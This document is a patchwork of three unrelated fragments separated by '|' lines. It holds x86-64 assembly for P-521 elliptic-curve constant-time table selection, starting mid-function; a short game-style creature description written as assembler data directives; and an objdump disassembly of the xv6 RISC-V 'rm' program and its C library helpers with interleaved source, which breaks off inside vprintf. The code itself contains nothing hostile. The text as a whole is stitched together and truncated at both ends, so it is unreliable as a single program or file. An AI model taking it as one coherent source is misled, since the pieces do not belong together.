sbbq Lpoly+64(%rip), %r15
movq (%rdi), %rbx
cmovb %rbx, %rcx
movq (8)(%rdi), %rbx
cmovb %rbx, %r8
movq (16)(%rdi), %rbx
cmovb %rbx, %r9
movq (24)(%rdi), %rbx
cmovb %rbx, %r10
movq (32)(%rdi), %rbx
cmovb %rbx, %r11
movq (40)(%rdi), %rbx
cmovb %rbx, %r12
movq (48)(%rdi), %rbx
cmovb %rbx, %r13
movq (56)(%rdi), %rbx
cmovb %rbx, %r14
movq (64)(%rdi), %rbx
cmovb %rbx, %r15
movq %rcx, (%rdi)
movq %r8, (8)(%rdi)
movq %r9, (16)(%rdi)
movq %r10, (24)(%rdi)
movq %r11, (32)(%rdi)
movq %r12, (40)(%rdi)
movq %r13, (48)(%rdi)
movq %r14, (56)(%rdi)
movq %r15, (64)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
ret
.p2align 4, 0x90
.globl _p521r1_select_pp_w5
_p521r1_select_pp_w5:
push %r12
push %r13
sub $(40), %rsp
movd %edx, %xmm15
pshufd $(0), %xmm15, %xmm15
movdqa %xmm15, (%rsp)
movdqa LOne(%rip), %xmm14
movdqa %xmm14, (16)(%rsp)
pxor %xmm0, %xmm0
pxor %xmm1, %xmm1
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
pxor %xmm6, %xmm6
pxor %xmm7, %xmm7
pxor %xmm8, %xmm8
pxor %xmm9, %xmm9
pxor %xmm10, %xmm10
pxor %xmm11, %xmm11
pxor %xmm12, %xmm12
pxor %xmm13, %xmm13
mov $(16), %rcx
.Lselect_loopgas_8:
movdqa (16)(%rsp), %xmm15
movdqa %xmm15, %xmm14
pcmpeqd (%rsp), %xmm15
paddd LOne(%rip), %xmm14
movdqa %xmm14, (16)(%rsp)
movdqu (%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm0
movdqu (16)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm1
movdqu (32)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm2
movdqu (48)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm3
movdqu (64)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm4
movdqu (80)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm5
movdqu (96)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm6
movdqu (112)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm7
movdqu (128)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm8
movdqu (144)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm9
movdqu (160)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm10
movdqu (176)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm11
movdqu (192)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm12
movd (208)(%rsi), %xmm14
pand %xmm15, %xmm14
por %xmm14, %xmm13
add $(216), %rsi
dec %rcx
jnz .Lselect_loopgas_8
movdqu %xmm0, (%rdi)
movdqu %xmm1, (16)(%rdi)
movdqu %xmm2, (32)(%rdi)
movdqu %xmm3, (48)(%rdi)
movdqu %xmm4, (64)(%rdi)
movdqu %xmm5, (80)(%rdi)
movdqu %xmm6, (96)(%rdi)
movdqu %xmm7, (112)(%rdi)
movdqu %xmm8, (128)(%rdi)
movdqu %xmm9, (144)(%rdi)
movdqu %xmm10, (160)(%rdi)
movdqu %xmm11, (176)(%rdi)
movdqu %xmm12, (192)(%rdi)
movq %xmm13, (208)(%rdi)
add $(40), %rsp
pop %r13
pop %r12
ret
.p2align 4, 0x90
.globl _p521r1_select_ap_w5
_p521r1_select_ap_w5:
push %r12
push %r13
movdqa LOne(%rip), %xmm10
movd %edx, %xmm9
pshufd $(0), %xmm9, %xmm9
pxor %xmm0, %xmm0
pxor %xmm1, %xmm1
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
pxor %xmm6, %xmm6
pxor %xmm7, %xmm7
pxor %xmm8, %xmm8
mov $(16), %rcx
.Lselect_loopgas_9:
movdqa %xmm10, %xmm11
pcmpeqd %xmm9, %xmm11
paddd LOne(%rip), %xmm10
movdqa (%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm0
movdqa (16)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm1
movdqa (32)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm2
movdqa (48)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm3
movdqa (64)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm4
movdqa (80)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm5
movdqa (96)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm6
movdqa (112)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm7
movdqa (128)(%rsi), %xmm12
pand %xmm11, %xmm12
por %xmm12, %xmm8
add $(144), %rsi
dec %rcx
jnz .Lselect_loopgas_9
movdqu %xmm0, (%rdi)
movdqu %xmm1, (16)(%rdi)
movdqu %xmm2, (32)(%rdi)
movdqu %xmm3, (48)(%rdi)
movdqu %xmm4, (64)(%rdi)
movdqu %xmm5, (80)(%rdi)
movdqu %xmm6, (96)(%rdi)
movdqu %xmm7, (112)(%rdi)
movdqu %xmm8, (128)(%rdi)
pop %r13
pop %r12
ret
|
db "BAGWORM@" ; species name
db "It spits out a"
next "fluid that it uses"
next "to glue tree bark"
page "to its body. The"
next "fluid hardens when"
next "it touches air.@"
|
user/_rm： 文件格式 elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
#include "kernel/stat.h"
#include "user/user.h"
int
main(int argc, char *argv[])
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: ec26 sd s1,24(sp)
8: e84a sd s2,16(sp)
a: e44e sd s3,8(sp)
c: 1800 addi s0,sp,48
int i;
if(argc < 2){
e: 4785 li a5,1
10: 02a7d763 bge a5,a0,3e <main+0x3e>
14: 00858493 addi s1,a1,8
18: ffe5091b addiw s2,a0,-2
1c: 1902 slli s2,s2,0x20
1e: 02095913 srli s2,s2,0x20
22: 090e slli s2,s2,0x3
24: 05c1 addi a1,a1,16
26: 992e add s2,s2,a1
fprintf(2, "Usage: rm files...\n");
exit(1);
}
for(i = 1; i < argc; i++){
if(unlink(argv[i]) < 0){
28: 6088 ld a0,0(s1)
2a: 00000097 auipc ra,0x0
2e: 314080e7 jalr 788(ra) # 33e <unlink>
32: 02054463 bltz a0,5a <main+0x5a>
for(i = 1; i < argc; i++){
36: 04a1 addi s1,s1,8
38: ff2498e3 bne s1,s2,28 <main+0x28>
3c: a80d j 6e <main+0x6e>
fprintf(2, "Usage: rm files...\n");
3e: 00000597 auipc a1,0x0
42: 7ca58593 addi a1,a1,1994 # 808 <malloc+0xe4>
46: 4509 li a0,2
48: 00000097 auipc ra,0x0
4c: 5f0080e7 jalr 1520(ra) # 638 <fprintf>
exit(1);
50: 4505 li a0,1
52: 00000097 auipc ra,0x0
56: 29c080e7 jalr 668(ra) # 2ee <exit>
fprintf(2, "rm: %s failed to delete\n", argv[i]);
5a: 6090 ld a2,0(s1)
5c: 00000597 auipc a1,0x0
60: 7c458593 addi a1,a1,1988 # 820 <malloc+0xfc>
64: 4509 li a0,2
66: 00000097 auipc ra,0x0
6a: 5d2080e7 jalr 1490(ra) # 638 <fprintf>
break;
}
}
exit(0);
6e: 4501 li a0,0
70: 00000097 auipc ra,0x0
74: 27e080e7 jalr 638(ra) # 2ee <exit>
0000000000000078 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
78: 1141 addi sp,sp,-16
7a: e422 sd s0,8(sp)
7c: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
7e: 87aa mv a5,a0
80: 0585 addi a1,a1,1
82: 0785 addi a5,a5,1
84: fff5c703 lbu a4,-1(a1)
88: fee78fa3 sb a4,-1(a5)
8c: fb75 bnez a4,80 <strcpy+0x8>
;
return os;
}
8e: 6422 ld s0,8(sp)
90: 0141 addi sp,sp,16
92: 8082 ret
0000000000000094 <strcmp>:
int
strcmp(const char *p, const char *q)
{
94: 1141 addi sp,sp,-16
96: e422 sd s0,8(sp)
98: 0800 addi s0,sp,16
while(*p && *p == *q)
9a: 00054783 lbu a5,0(a0)
9e: cb91 beqz a5,b2 <strcmp+0x1e>
a0: 0005c703 lbu a4,0(a1)
a4: 00f71763 bne a4,a5,b2 <strcmp+0x1e>
p++, q++;
a8: 0505 addi a0,a0,1
aa: 0585 addi a1,a1,1
while(*p && *p == *q)
ac: 00054783 lbu a5,0(a0)
b0: fbe5 bnez a5,a0 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
b2: 0005c503 lbu a0,0(a1)
}
b6: 40a7853b subw a0,a5,a0
ba: 6422 ld s0,8(sp)
bc: 0141 addi sp,sp,16
be: 8082 ret
00000000000000c0 <strlen>:
uint
strlen(const char *s)
{
c0: 1141 addi sp,sp,-16
c2: e422 sd s0,8(sp)
c4: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
c6: 00054783 lbu a5,0(a0)
ca: cf91 beqz a5,e6 <strlen+0x26>
cc: 0505 addi a0,a0,1
ce: 87aa mv a5,a0
d0: 4685 li a3,1
d2: 9e89 subw a3,a3,a0
d4: 00f6853b addw a0,a3,a5
d8: 0785 addi a5,a5,1
da: fff7c703 lbu a4,-1(a5)
de: fb7d bnez a4,d4 <strlen+0x14>
;
return n;
}
e0: 6422 ld s0,8(sp)
e2: 0141 addi sp,sp,16
e4: 8082 ret
for(n = 0; s[n]; n++)
e6: 4501 li a0,0
e8: bfe5 j e0 <strlen+0x20>
00000000000000ea <memset>:
void*
memset(void *dst, int c, uint n)
{
ea: 1141 addi sp,sp,-16
ec: e422 sd s0,8(sp)
ee: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
f0: ce09 beqz a2,10a <memset+0x20>
f2: 87aa mv a5,a0
f4: fff6071b addiw a4,a2,-1
f8: 1702 slli a4,a4,0x20
fa: 9301 srli a4,a4,0x20
fc: 0705 addi a4,a4,1
fe: 972a add a4,a4,a0
cdst[i] = c;
100: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
104: 0785 addi a5,a5,1
106: fee79de3 bne a5,a4,100 <memset+0x16>
}
return dst;
}
10a: 6422 ld s0,8(sp)
10c: 0141 addi sp,sp,16
10e: 8082 ret
0000000000000110 <strchr>:
char*
strchr(const char *s, char c)
{
110: 1141 addi sp,sp,-16
112: e422 sd s0,8(sp)
114: 0800 addi s0,sp,16
for(; *s; s++)
116: 00054783 lbu a5,0(a0)
11a: cb99 beqz a5,130 <strchr+0x20>
if(*s == c)
11c: 00f58763 beq a1,a5,12a <strchr+0x1a>
for(; *s; s++)
120: 0505 addi a0,a0,1
122: 00054783 lbu a5,0(a0)
126: fbfd bnez a5,11c <strchr+0xc>
return (char*)s;
return 0;
128: 4501 li a0,0
}
12a: 6422 ld s0,8(sp)
12c: 0141 addi sp,sp,16
12e: 8082 ret
return 0;
130: 4501 li a0,0
132: bfe5 j 12a <strchr+0x1a>
0000000000000134 <gets>:
char*
gets(char *buf, int max)
{
134: 711d addi sp,sp,-96
136: ec86 sd ra,88(sp)
138: e8a2 sd s0,80(sp)
13a: e4a6 sd s1,72(sp)
13c: e0ca sd s2,64(sp)
13e: fc4e sd s3,56(sp)
140: f852 sd s4,48(sp)
142: f456 sd s5,40(sp)
144: f05a sd s6,32(sp)
146: ec5e sd s7,24(sp)
148: 1080 addi s0,sp,96
14a: 8baa mv s7,a0
14c: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
14e: 892a mv s2,a0
150: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
152: 4aa9 li s5,10
154: 4b35 li s6,13
for(i=0; i+1 < max; ){
156: 89a6 mv s3,s1
158: 2485 addiw s1,s1,1
15a: 0344d863 bge s1,s4,18a <gets+0x56>
cc = read(0, &c, 1);
15e: 4605 li a2,1
160: faf40593 addi a1,s0,-81
164: 4501 li a0,0
166: 00000097 auipc ra,0x0
16a: 1a0080e7 jalr 416(ra) # 306 <read>
if(cc < 1)
16e: 00a05e63 blez a0,18a <gets+0x56>
buf[i++] = c;
172: faf44783 lbu a5,-81(s0)
176: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
17a: 01578763 beq a5,s5,188 <gets+0x54>
17e: 0905 addi s2,s2,1
180: fd679be3 bne a5,s6,156 <gets+0x22>
for(i=0; i+1 < max; ){
184: 89a6 mv s3,s1
186: a011 j 18a <gets+0x56>
188: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
18a: 99de add s3,s3,s7
18c: 00098023 sb zero,0(s3)
return buf;
}
190: 855e mv a0,s7
192: 60e6 ld ra,88(sp)
194: 6446 ld s0,80(sp)
196: 64a6 ld s1,72(sp)
198: 6906 ld s2,64(sp)
19a: 79e2 ld s3,56(sp)
19c: 7a42 ld s4,48(sp)
19e: 7aa2 ld s5,40(sp)
1a0: 7b02 ld s6,32(sp)
1a2: 6be2 ld s7,24(sp)
1a4: 6125 addi sp,sp,96
1a6: 8082 ret
00000000000001a8 <stat>:
int
stat(const char *n, struct stat *st)
{
1a8: 1101 addi sp,sp,-32
1aa: ec06 sd ra,24(sp)
1ac: e822 sd s0,16(sp)
1ae: e426 sd s1,8(sp)
1b0: e04a sd s2,0(sp)
1b2: 1000 addi s0,sp,32
1b4: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
1b6: 4581 li a1,0
1b8: 00000097 auipc ra,0x0
1bc: 176080e7 jalr 374(ra) # 32e <open>
if(fd < 0)
1c0: 02054563 bltz a0,1ea <stat+0x42>
1c4: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
1c6: 85ca mv a1,s2
1c8: 00000097 auipc ra,0x0
1cc: 17e080e7 jalr 382(ra) # 346 <fstat>
1d0: 892a mv s2,a0
close(fd);
1d2: 8526 mv a0,s1
1d4: 00000097 auipc ra,0x0
1d8: 142080e7 jalr 322(ra) # 316 <close>
return r;
}
1dc: 854a mv a0,s2
1de: 60e2 ld ra,24(sp)
1e0: 6442 ld s0,16(sp)
1e2: 64a2 ld s1,8(sp)
1e4: 6902 ld s2,0(sp)
1e6: 6105 addi sp,sp,32
1e8: 8082 ret
return -1;
1ea: 597d li s2,-1
1ec: bfc5 j 1dc <stat+0x34>
00000000000001ee <atoi>:
int
atoi(const char *s)
{
1ee: 1141 addi sp,sp,-16
1f0: e422 sd s0,8(sp)
1f2: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
1f4: 00054603 lbu a2,0(a0)
1f8: fd06079b addiw a5,a2,-48
1fc: 0ff7f793 andi a5,a5,255
200: 4725 li a4,9
202: 02f76963 bltu a4,a5,234 <atoi+0x46>
206: 86aa mv a3,a0
n = 0;
208: 4501 li a0,0
while('0' <= *s && *s <= '9')
20a: 45a5 li a1,9
n = n*10 + *s++ - '0';
20c: 0685 addi a3,a3,1
20e: 0025179b slliw a5,a0,0x2
212: 9fa9 addw a5,a5,a0
214: 0017979b slliw a5,a5,0x1
218: 9fb1 addw a5,a5,a2
21a: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
21e: 0006c603 lbu a2,0(a3)
222: fd06071b addiw a4,a2,-48
226: 0ff77713 andi a4,a4,255
22a: fee5f1e3 bgeu a1,a4,20c <atoi+0x1e>
return n;
}
22e: 6422 ld s0,8(sp)
230: 0141 addi sp,sp,16
232: 8082 ret
n = 0;
234: 4501 li a0,0
236: bfe5 j 22e <atoi+0x40>
0000000000000238 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
238: 1141 addi sp,sp,-16
23a: e422 sd s0,8(sp)
23c: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
23e: 02b57663 bgeu a0,a1,26a <memmove+0x32>
while(n-- > 0)
242: 02c05163 blez a2,264 <memmove+0x2c>
246: fff6079b addiw a5,a2,-1
24a: 1782 slli a5,a5,0x20
24c: 9381 srli a5,a5,0x20
24e: 0785 addi a5,a5,1
250: 97aa add a5,a5,a0
dst = vdst;
252: 872a mv a4,a0
*dst++ = *src++;
254: 0585 addi a1,a1,1
256: 0705 addi a4,a4,1
258: fff5c683 lbu a3,-1(a1)
25c: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
260: fee79ae3 bne a5,a4,254 <memmove+0x1c>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
264: 6422 ld s0,8(sp)
266: 0141 addi sp,sp,16
268: 8082 ret
dst += n;
26a: 00c50733 add a4,a0,a2
src += n;
26e: 95b2 add a1,a1,a2
while(n-- > 0)
270: fec05ae3 blez a2,264 <memmove+0x2c>
274: fff6079b addiw a5,a2,-1
278: 1782 slli a5,a5,0x20
27a: 9381 srli a5,a5,0x20
27c: fff7c793 not a5,a5
280: 97ba add a5,a5,a4
*--dst = *--src;
282: 15fd addi a1,a1,-1
284: 177d addi a4,a4,-1
286: 0005c683 lbu a3,0(a1)
28a: 00d70023 sb a3,0(a4)
while(n-- > 0)
28e: fee79ae3 bne a5,a4,282 <memmove+0x4a>
292: bfc9 j 264 <memmove+0x2c>
0000000000000294 <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
294: 1141 addi sp,sp,-16
296: e422 sd s0,8(sp)
298: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
29a: ca05 beqz a2,2ca <memcmp+0x36>
29c: fff6069b addiw a3,a2,-1
2a0: 1682 slli a3,a3,0x20
2a2: 9281 srli a3,a3,0x20
2a4: 0685 addi a3,a3,1
2a6: 96aa add a3,a3,a0
if (*p1 != *p2) {
2a8: 00054783 lbu a5,0(a0)
2ac: 0005c703 lbu a4,0(a1)
2b0: 00e79863 bne a5,a4,2c0 <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
2b4: 0505 addi a0,a0,1
p2++;
2b6: 0585 addi a1,a1,1
while (n-- > 0) {
2b8: fed518e3 bne a0,a3,2a8 <memcmp+0x14>
}
return 0;
2bc: 4501 li a0,0
2be: a019 j 2c4 <memcmp+0x30>
return *p1 - *p2;
2c0: 40e7853b subw a0,a5,a4
}
2c4: 6422 ld s0,8(sp)
2c6: 0141 addi sp,sp,16
2c8: 8082 ret
return 0;
2ca: 4501 li a0,0
2cc: bfe5 j 2c4 <memcmp+0x30>
00000000000002ce <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
2ce: 1141 addi sp,sp,-16
2d0: e406 sd ra,8(sp)
2d2: e022 sd s0,0(sp)
2d4: 0800 addi s0,sp,16
return memmove(dst, src, n);
2d6: 00000097 auipc ra,0x0
2da: f62080e7 jalr -158(ra) # 238 <memmove>
}
2de: 60a2 ld ra,8(sp)
2e0: 6402 ld s0,0(sp)
2e2: 0141 addi sp,sp,16
2e4: 8082 ret
00000000000002e6 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
2e6: 4885 li a7,1
ecall
2e8: 00000073 ecall
ret
2ec: 8082 ret
00000000000002ee <exit>:
.global exit
exit:
li a7, SYS_exit
2ee: 4889 li a7,2
ecall
2f0: 00000073 ecall
ret
2f4: 8082 ret
00000000000002f6 <wait>:
.global wait
wait:
li a7, SYS_wait
2f6: 488d li a7,3
ecall
2f8: 00000073 ecall
ret
2fc: 8082 ret
00000000000002fe <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
2fe: 4891 li a7,4
ecall
300: 00000073 ecall
ret
304: 8082 ret
0000000000000306 <read>:
.global read
read:
li a7, SYS_read
306: 4895 li a7,5
ecall
308: 00000073 ecall
ret
30c: 8082 ret
000000000000030e <write>:
.global write
write:
li a7, SYS_write
30e: 48c1 li a7,16
ecall
310: 00000073 ecall
ret
314: 8082 ret
0000000000000316 <close>:
.global close
close:
li a7, SYS_close
316: 48d5 li a7,21
ecall
318: 00000073 ecall
ret
31c: 8082 ret
000000000000031e <kill>:
.global kill
kill:
li a7, SYS_kill
31e: 4899 li a7,6
ecall
320: 00000073 ecall
ret
324: 8082 ret
0000000000000326 <exec>:
.global exec
exec:
li a7, SYS_exec
326: 489d li a7,7
ecall
328: 00000073 ecall
ret
32c: 8082 ret
000000000000032e <open>:
.global open
open:
li a7, SYS_open
32e: 48bd li a7,15
ecall
330: 00000073 ecall
ret
334: 8082 ret
0000000000000336 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
336: 48c5 li a7,17
ecall
338: 00000073 ecall
ret
33c: 8082 ret
000000000000033e <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
33e: 48c9 li a7,18
ecall
340: 00000073 ecall
ret
344: 8082 ret
0000000000000346 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
346: 48a1 li a7,8
ecall
348: 00000073 ecall
ret
34c: 8082 ret
000000000000034e <link>:
.global link
link:
li a7, SYS_link
34e: 48cd li a7,19
ecall
350: 00000073 ecall
ret
354: 8082 ret
0000000000000356 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
356: 48d1 li a7,20
ecall
358: 00000073 ecall
ret
35c: 8082 ret
000000000000035e <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
35e: 48a5 li a7,9
ecall
360: 00000073 ecall
ret
364: 8082 ret
0000000000000366 <dup>:
.global dup
dup:
li a7, SYS_dup
366: 48a9 li a7,10
ecall
368: 00000073 ecall
ret
36c: 8082 ret
000000000000036e <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
36e: 48ad li a7,11
ecall
370: 00000073 ecall
ret
374: 8082 ret
0000000000000376 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
376: 48b1 li a7,12
ecall
378: 00000073 ecall
ret
37c: 8082 ret
000000000000037e <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
37e: 48b5 li a7,13
ecall
380: 00000073 ecall
ret
384: 8082 ret
0000000000000386 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
386: 48b9 li a7,14
ecall
388: 00000073 ecall
ret
38c: 8082 ret
000000000000038e <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
38e: 1101 addi sp,sp,-32
390: ec06 sd ra,24(sp)
392: e822 sd s0,16(sp)
394: 1000 addi s0,sp,32
396: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
39a: 4605 li a2,1
39c: fef40593 addi a1,s0,-17
3a0: 00000097 auipc ra,0x0
3a4: f6e080e7 jalr -146(ra) # 30e <write>
}
3a8: 60e2 ld ra,24(sp)
3aa: 6442 ld s0,16(sp)
3ac: 6105 addi sp,sp,32
3ae: 8082 ret
00000000000003b0 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3b0: 7139 addi sp,sp,-64
3b2: fc06 sd ra,56(sp)
3b4: f822 sd s0,48(sp)
3b6: f426 sd s1,40(sp)
3b8: f04a sd s2,32(sp)
3ba: ec4e sd s3,24(sp)
3bc: 0080 addi s0,sp,64
3be: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3c0: c299 beqz a3,3c6 <printint+0x16>
3c2: 0805c863 bltz a1,452 <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
3c6: 2581 sext.w a1,a1
neg = 0;
3c8: 4881 li a7,0
3ca: fc040693 addi a3,s0,-64
}
i = 0;
3ce: 4701 li a4,0
do{
buf[i++] = digits[x % base];
3d0: 2601 sext.w a2,a2
3d2: 00000517 auipc a0,0x0
3d6: 47650513 addi a0,a0,1142 # 848 <digits>
3da: 883a mv a6,a4
3dc: 2705 addiw a4,a4,1
3de: 02c5f7bb remuw a5,a1,a2
3e2: 1782 slli a5,a5,0x20
3e4: 9381 srli a5,a5,0x20
3e6: 97aa add a5,a5,a0
3e8: 0007c783 lbu a5,0(a5)
3ec: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
3f0: 0005879b sext.w a5,a1
3f4: 02c5d5bb divuw a1,a1,a2
3f8: 0685 addi a3,a3,1
3fa: fec7f0e3 bgeu a5,a2,3da <printint+0x2a>
if(neg)
3fe: 00088b63 beqz a7,414 <printint+0x64>
buf[i++] = '-';
402: fd040793 addi a5,s0,-48
406: 973e add a4,a4,a5
408: 02d00793 li a5,45
40c: fef70823 sb a5,-16(a4)
410: 0028071b addiw a4,a6,2
while(--i >= 0)
414: 02e05863 blez a4,444 <printint+0x94>
418: fc040793 addi a5,s0,-64
41c: 00e78933 add s2,a5,a4
420: fff78993 addi s3,a5,-1
424: 99ba add s3,s3,a4
426: 377d addiw a4,a4,-1
428: 1702 slli a4,a4,0x20
42a: 9301 srli a4,a4,0x20
42c: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
430: fff94583 lbu a1,-1(s2)
434: 8526 mv a0,s1
436: 00000097 auipc ra,0x0
43a: f58080e7 jalr -168(ra) # 38e <putc>
while(--i >= 0)
43e: 197d addi s2,s2,-1
440: ff3918e3 bne s2,s3,430 <printint+0x80>
}
444: 70e2 ld ra,56(sp)
446: 7442 ld s0,48(sp)
448: 74a2 ld s1,40(sp)
44a: 7902 ld s2,32(sp)
44c: 69e2 ld s3,24(sp)
44e: 6121 addi sp,sp,64
450: 8082 ret
x = -xx;
452: 40b005bb negw a1,a1
neg = 1;
456: 4885 li a7,1
x = -xx;
458: bf8d j 3ca <printint+0x1a>
000000000000045a <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
45a: 7119 addi sp,sp,-128
45c: fc86 sd ra,120(sp)
45e: f8a2 sd s0,112(sp)
460: f4a6 sd s1,104(sp)
462: f0ca sd s2,96(sp)
464: ecce sd s3,88(sp)
466: e8d2 sd s4,80(sp)
468: e4d6 sd s5,72(sp)
46a: e0da sd s6,64(sp)
46c: fc5e sd s7,56(sp)
46e: f862 sd s8,48(sp)
470: f466 sd s9,40(sp)
472: f06a sd s10,32(sp)
474: ec6e sd s11,24(sp)
476: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
478: 0005c903 lbu s2,0(a1)
47c: 18090f63 beqz s2,61a <vprintf+0x1c0>
480: 8aaa mv s5,a0
482: 8b32 mv s6,a2
484: 00158493 addi s1,a1,1
state = 0;
488: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
48a: 02500a13 li s4,37
if(c == 'd'){
48e: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
492: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
496: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
49a: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
49e: 00000b97 auipc s7,0x0
4a2: 3aab8b93 addi s7,s7,938 # 848 <digits>
4a6: a839 j 4c4 <vprintf+0x6a>
putc(fd, c);
4a8: 85ca mv a1,s2
4aa: 8556 mv a0,s5
4ac: 00000097 auipc ra,0x0
4b0: ee2080e7 jalr -286(ra) # 38e <putc>
4b4: a019 j 4ba <vprintf+0x60>
} else if(state == '%'){
4b6: 01498f63 beq s3,s4,4d4 <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
4ba: 0485 addi s1,s1,1
4bc: fff4c903 lbu s2,-1(s1)
4c0: 14090d63 beqz s2,61a <vprintf+0x1c0>
c = fmt[i] & 0xff;
4c4: 0009079b sext.w a5,s2
if(state == 0){
4c8: fe0997e3 bnez s3,4b6 <vprintf+0x5c>
if(c == '%'){
4cc: fd479ee3 bne a5,s4,4a8 <vprintf+0x4e>
state = '%';
4d0: 89be mv s3,a5
4d2: b7e5 j 4ba <vprintf+0x60>
if(c == 'd'){
4d4: 05878063 beq a5,s8,514 <vprintf+0xba>
} else if(c == 'l') {
4d8: 05978c63 beq a5,s9,530 <vprintf+0xd6>
} else if(c == 'x') {
4dc: 07a78863 beq a5,s10,54c <vprintf+0xf2>
} else if(c == 'p') {
4e0: 09b78463 beq a5,s11,568 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
4e4: 07300713 li a4,115
4e8: 0ce78663 beq a5,a4,5b4 <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4ec: 06300713 li a4,99
4f0: 0ee78e63 beq a5,a4,5ec <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
4f4: 11478863 beq a5,s4,604 <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
4f8: 85d2 mv a1,s4
4fa: 8556 mv a0,s5
4fc: 00000097 auipc ra,0x0
500: e92080e7 jalr -366(ra) # 38e <putc>
putc(fd, c);
504: 85ca mv a1,s2
506: 8556 mv a0,s5
508: 00000097 auipc ra,0x0
50c: e86080e7 jalr -378(ra) # 38e <putc>
}
state = 0;
510: 4981 li s3,0
512: b765 j 4ba <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
514: 008b0913 addi s2,s6,8
